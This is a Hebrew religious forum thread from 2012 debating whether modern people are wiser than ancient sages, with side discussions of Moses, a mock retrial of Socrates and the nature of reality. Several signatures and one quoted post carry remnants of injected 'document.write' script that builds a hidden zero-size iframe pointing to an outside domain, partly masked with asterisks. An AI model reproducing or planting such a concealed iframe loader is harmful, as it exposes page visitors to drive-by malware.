|
|
| נשלח ב-28/5/2012 15:49 |
 |
| |
איני מבין מה שייך ענונותו של משה לכאן, משה היה עניו- ביחס לעצמו- הרי לפי גודל מעלתו הוא יכול היה להתגאות לעין שעור,
הוא היה עניו, ביחס לעצמו- ולא ביחס לאנשים אחרים,
התורה היתה חייבת להנתן מיד לאחר יציאת מצריים, והתורה מספרת שמשה עלה להר וירד מההר- כנראה שהיה הר ולא גבעה, ולא תל,
אפילו אם היו מחפשים בנרות לא יכלו למצא שם הרים גדולים,
בכדי להתאים את הכתוב בתורה להבנת בני האדם,
אתה הרי יודע כי לא כל מדרש יוצא מגדר הדרש.
|
|
|
|
| נשלח ב-29/5/2012 01:38 |
|
| |
אע"פ שאין ראיה לדבר דוגמה לדבר, מה שהרשיעו 500 איש לפני 2400 שנים מוטל היום בספק.
לפני כ-2,400 שנה הרשיעו 500 מושבעים תושבי אתונה את סוקרטס בכפירה באלים ובהשחתת הנוער של אתונה. המושבעים נתנו בידי הפילוסוף היווני את האפשרות לבחור את עונשו: מוות באמצעות שתיית רעל צמחי או חיים בגלות, הרחק מהפוליס האתונאי המשגשג. סוקרטס, כדרכו הפילוסופית, לא נרתע. הוא עלב במושבעים (ביקש לקבל פרס על מעשיו) וביקר בחריפות את הפרקטיקות הדתיות, הפוליטיות והמוסריות השוררות באתונה. המושבעים לא אהבו את התרסותיו, בלשון המעטה. הם הכריזו על סוקרטס אויב הדמוקרטיה ומחרחר מרי וחתרנות לטובת ספרטה, ושלחו אותו אל כוס התרעלה.
ב"משפט החוזר", אותו ארגנה קרן אונאסיס, השתתפו 14 נוכחים: עשרה שופטים מבריטניה, צרפת, גרמניה, יוון, שווייץ וארצות הברית, שני נציגי תביעה ושני סנגורים וזאת למרות שסוקרטס ייצג את עצמו במשפט בשנת 339 לפני הספירה. ל-800 הצופים באולם, כמו גם לאלה שחזו בדיונים באינטרנט, ניתנה גם כן האפשרות להביע את דעתם ולהצביע על גורלו של הפילוסוף. כחלק מהניסיון לפשט את ההליך ולמנוע סיבוכים מיותרים, הוחלט כי השופטים ידרשו להתייחס רק לשאלה אחת: האם סוקרטס אשם או לא על פי החוק האתונאי?
עם סיום ההצבעה, התברר עד כמה המחלוקת סביב משפט סוקרטס רלוונטית גם לימינו. חמישה משופטי המשפט החוזר הרשיעו אותו, לעומת חמישה שקבעו כי הוא חף מכל פשע. לפיכך, נקבע כי על פי החוק היווני, במצב של תיקו, סוקרטס אינו אשם. "סוקרטס מתחזה לאיש צנוע אך בא בעת הוא מפגין יהירות. הוא חתרן מסוכן", אמרה לורטה פרסקה, שופטת מחוזית מניו יורק, שהצביעה בעד הרשעתו של סוקרטס. לעומתה אמר עורך הדין הצרפתי, פטריק סימון, ששימש "סנגורו" של הפילוסוף, כי עצם העובדה שסוקרטס מחזיק בדעה מסוימת בשל חיפושו המתמיד אחר האמת - איננה פשע. "מרשי עשה טעות אחת: הוא אהב להתגרות ולהשתמש באירוניה נשכנית. זיכויו מפגין את יציבות הדמוקרטיה", אמר. דבריהם צוטטו על ידי רשת החדשות הרוסית RT. אגב, גם במשפט חוזר אחר שהתקיים בשנה שעברה בניו יורק - זוכה סוקרטס.
http://www.haaretz.co.il/news/world/1.1717288
 |
|
|
|
|
| נשלח ב-29/5/2012 01:40 |
|
| |
ואיך שאני מבין גם המאשימים, לא מאשימים בגלל הכפירה באלים ושאר דעותיו אלא בגלל צורת ההתנהגות שלו כנגד חוק אתונה.
|
|
|
|
| נשלח ב-29/5/2012 07:45 |
|
| |
מנחם
כיון שלא קראתי הכל ונעדרתי מכאן איזו תקופה, איבדתי את הקשר בין הנושא לסיפור על סוקרטס. אבל זה ראוי לדעתי לאשכול נפרד!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-29/5/2012 08:16 |
|
| |
לגבי משפטו החוזר של סוקרטס (וגם הראשון, וגם המסתעף מזה) יש כבר אשכול חדש, ותשואות חן חן למנחם פיש על התגלית המרתקת לגבי. נא לא לכתוב בנושא סוקרטס באשכול זה (אלא אם כן אך ורק בנוגע להוכחה, אם יש, לגבי חכמת הדורות שעברו). נא לא להטריח מנהלים במחיקת דיונים צדדיים. אני כותב מהנסיון כמי שהקדיש שעות רבות מדי לזה. _________________ שומר פיו ולשונו - שומר מצרות נפשו _________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-30/5/2012 00:10 |
|
| |
בשד
|
|
|
|
| נשלח ב-30/5/2012 04:06 |
|
| |
| מיימוני כתב: |  | לגבי משפטו החוזר של סוקרטס (וגם הראשון, וגם המסתעף מזה) יש כבר אשכול חדש, ותשואות חן חן למנחם פיש על התגלית המרתקת לגבי.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
למען הדיוק, הובא כבר קודם לכן באשכול הקישורים לכתבות.
|
|
|
|
| נשלח ב-30/5/2012 07:39 |
|
| |
ספרן, אנחנו לא נשכח אותך, ונודה לך כל הזמן על הכתבות המופלאות והספרים החדשים [למרות שזה מחייב אותי בתקציב מיוחד] שאתה מביא לנו כל הזמן.
|
|
|
|
|
| נשלח ב-30/5/2012 08:28 |
|
| |
(מצטרף לצבי).
|
|
|
|
| נשלח ב-30/5/2012 08:54 |
|
| |
ושלא לדבר על הזמן שאנו צריכים לאירועים האקדמאיים המענינים שספרן ועוד חברים מפנים אותנו אליהם.
|
|
|
|
| נשלח ב-30/5/2012 23:55 |
|
| |
תודה מיימוני על הניתוח היפה של סוקרטס ושיטתו, ולפי ההסבר שלך ודאי שזה נוגע לאשכול הזה, הנה אדם שכבר לפני כ"כ הרבה שנים העלה את הרעיונות שצריך לבדוק מה מגיע מהמסורת ולא לקבל הכל כפשוט ומובן רק בגלל שכך אומרים הזקנים והדורות הקודמים. ועל זה נהרג בזמנו פה אחד (ככה הבנתי),
האם רוב החכמים שלנו הקדמונים (ולא משנה איזה דור) הסכימו עם הרעיון הזה שלא כל מה שמגיע מהמסורת הוא אמת? אם לא הבינו את זה אולי הם חיפשו כל טיצדקי להסביר את המגיע מהמסורת חוץ מהאפשרות שאולי חבל להסביר את הדברים שאינם יכולים להיות אמת אפילו שהם במסורת, אולי האפשרות שמשהו השתבש במסורת היא מסתברת לא פחות מלומר ש"כל" מה שבמסורת הוא אמת. הנה דוגמה למחשבה אחת שנדמה לי שהיום פשוטה הרבה יותר מפעם. ולמרות שאני התכוונתי לחכמה מהסוג של הבנת דברים והניתוח וההגיון העמוק שבהם, אבל גם תשתיות מחשבה כמו הדוגמה הזאת (של אפשרות לטעות במסורת) וכדומה הם גם מהדברים שהדורות האחרונים משתכללים מהראשונים.
(ולמי שהתכתבתי איתם באישי, ניסיתי להשיב לכם עכשיו וההודעות לא נשלחות. למי שמסרתי את המייל שלי אני יודה אם יחזור אלי)
|
|
|
|
| נשלח ב-31/5/2012 15:25 |
|
| |
מי בכלל קבע שאנו חכמים?
הרי ברור שאם אנו נקבע שאנו חכמים נקבע גם שאנו חכמים יותר.
ודי למבין.
|
|
|
|
| נשלח ב-31/5/2012 15:36 |
|
| |
אנחנו יודעים כי אנחנו חכמים, כי אנו רואים עין בעין- למה אנחנו הגענו מכל הבחינות
ןלכן אנחנו מספיק חכמים לדעת כי הקדמונים היו פחות חכמים,
אגב בשביל זה לא צריך להיות חכם מספיק להיות נבון,
|
|
|
|
| נשלח ב-31/5/2012 15:46 |
|
| |
ירוחם
אתה מניח שמה שאנו רואים זה העולם האמיתי , ולכן אתה חושב את עצמך לחכם .
אפילו לא מנסים לחשוב אולי יש עולמות שאנו לא מכירים , אולי כל מה שאנו מכירים הם רק איזו קליפה של עולם ולא העולם האמיתי , אולי אנו חיים בדמיונות.
הרי לכל השאלות הללו אין תשובות , כי אנו שופטים למראית עין , ואין לנו מושג האם אנו באמת מכרים את המציאות האמיתית.
אולי הראשונים הכירו מציאות יותר אמיתית אפילו שהיא פחות טכנולוגית.
הרי מכל השאלות האמיתיות של האמונה והקבלה והכרת הבורא , הרי רובם מתעלמים , ואם כן מנין להם שהמציאות שהם מכירים היא המציאות האמיתית.
לכן קשה להחליט מי יותר חכם , כשיש ויכוח על המציאות.
הוכיוח הוא בעצם מהי מציאות העולם , ולא מי יותר חכם.
אגב נבון זה בעצם הגילוי של החכמה , לכן חכם אמיתי הוא נבון.
|
|
|
|
| נשלח ב-31/5/2012 16:23 |
|
| |
ראה
אתה מדבר על השערות, אני מדבר על מציאות. ממשית שאפשר למשש ולהרגיש אותה,
אם אתה רוצה לחיות במציאות דמיונית- לא ממשית- כי הרי כאמור את המציאות שלך אי אפשר לממש. זכותך.
אני מדבר על המציאות היום יומית הממשית. על לימוד התורה הממשית. על הבנת התורה הנכונה וכד' על כל חיושי התורה שנוספו. על החיים הטכנולגים הממשים, על כל הטוב שאלוקים ברא בעולמנו, בכדי שנהנה ממנה.
במציאות שלי אנחנו חכמים יותר ונבונים יותר כאמור.
במציאות שלך אין הדברים כך, כנראה שאחד משננו טועה.
את המציאות שלי אפשר להוכיח ולממש ולמשש.
את המציאות שלך צריכים לדמיין- לא לכל אדם יש דמיון מפותח.
|
|
|
|
|
